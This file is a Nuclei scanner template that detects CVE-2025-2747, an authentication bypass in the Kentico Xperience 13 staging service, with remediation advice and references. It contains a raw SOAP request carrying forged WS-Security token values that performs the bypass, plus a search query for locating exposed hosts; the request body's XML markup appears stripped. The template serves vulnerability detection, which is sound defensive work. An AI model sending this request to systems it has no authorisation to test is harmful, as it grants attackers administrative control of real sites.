id: CVE-2025-2747 info: name: Kentico Xperience 13 CMS - Staging Service Authentication Bypass (WT-2025-0006) author: DhiyaneshDK severity: critical description: | An authentication bypass vulnerability in Kentico Xperience allows authentication bypass via the Staging Sync Server component password handling for the server defined None type. Authentication bypass allows an attacker to control administrative objects.This issue affects Xperience through 13.0.178. impact: | Unauthenticated attackers can bypass authentication through the Staging Sync Server component by exploiting None-type password handling, gaining control of administrative objects and potentially compromising the entire Kentico CMS. remediation: | Upgrade to Kentico Xperience version 13.0.179 or later that properly handles Staging Sync Server authentication. reference: - https://github.com/watchtowrlabs/kentico-xperience13-AuthBypass-wt-2025-0006 - https://devnet.kentico.com/download/hotfixes - https://github.com/watchtowrlabs/kentico-xperience13-AuthBypass-wt-2025-0011 - https://labs.watchtowr.com/bypassing-authentication-like-its-the-90s-pre-auth-rce-chain-s-in-kentico-xperience-cms/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2025-2747 cwe-id: CWE-287 epss-score: 0.90935 epss-percentile: 0.99648 metadata: verified: true max-request: 1 fofa-query: app="Kentico-CMS" tags: cve,cve2025,kentico,stag,auth-bypass,xperience13,kev,vkev,vuln variables: rand: "{{to_lower(rand_text_alpha(5))}}" http: - raw: - | POST /CMSPages/Staging/SyncServer.asmx HTTP/1.1 Host: {{Hostname}} Content-Type: text/xml; charset=utf-8 SOAPAction: "http://localhost/SyncWebService/SyncServer/ProcessSynchronizationTaskData" y3t4kallxq 6dfzCOJsdj5Aw+1rGzwoHadPFTQ= 4JX/SboVYnxbh8hm3ySQdIUJtFK9cqUh 2025-03-10T20:11:07Z ]]> matchers-condition: and matchers: - type: word part: body words: - "{{rand}}" - "" condition: and - type: word part: body words: - "Site not running" - "SyncServer.ErrorLicense" - "SyncServer.ErrorServiceNotEnabled" - "Staging service is not enabled on this server" - "Staging does not work with blank password" - "Missing X509 certificate token" - "The security token could not be authenticated or authorized" condition: or negative: true - type: word part: content_type words: - "text/xml" # digest: 4a0a00473045022100856d5c251ea3c838c2ef48aed5be2991a9f44303dedb83f762c7d74ce94f7d7b022079992f7d2d9df649a770ffdbe356f83ec370827eeac9ea9e6180fd0e020db6ff:922c64590222798bb761d5b6d8e72950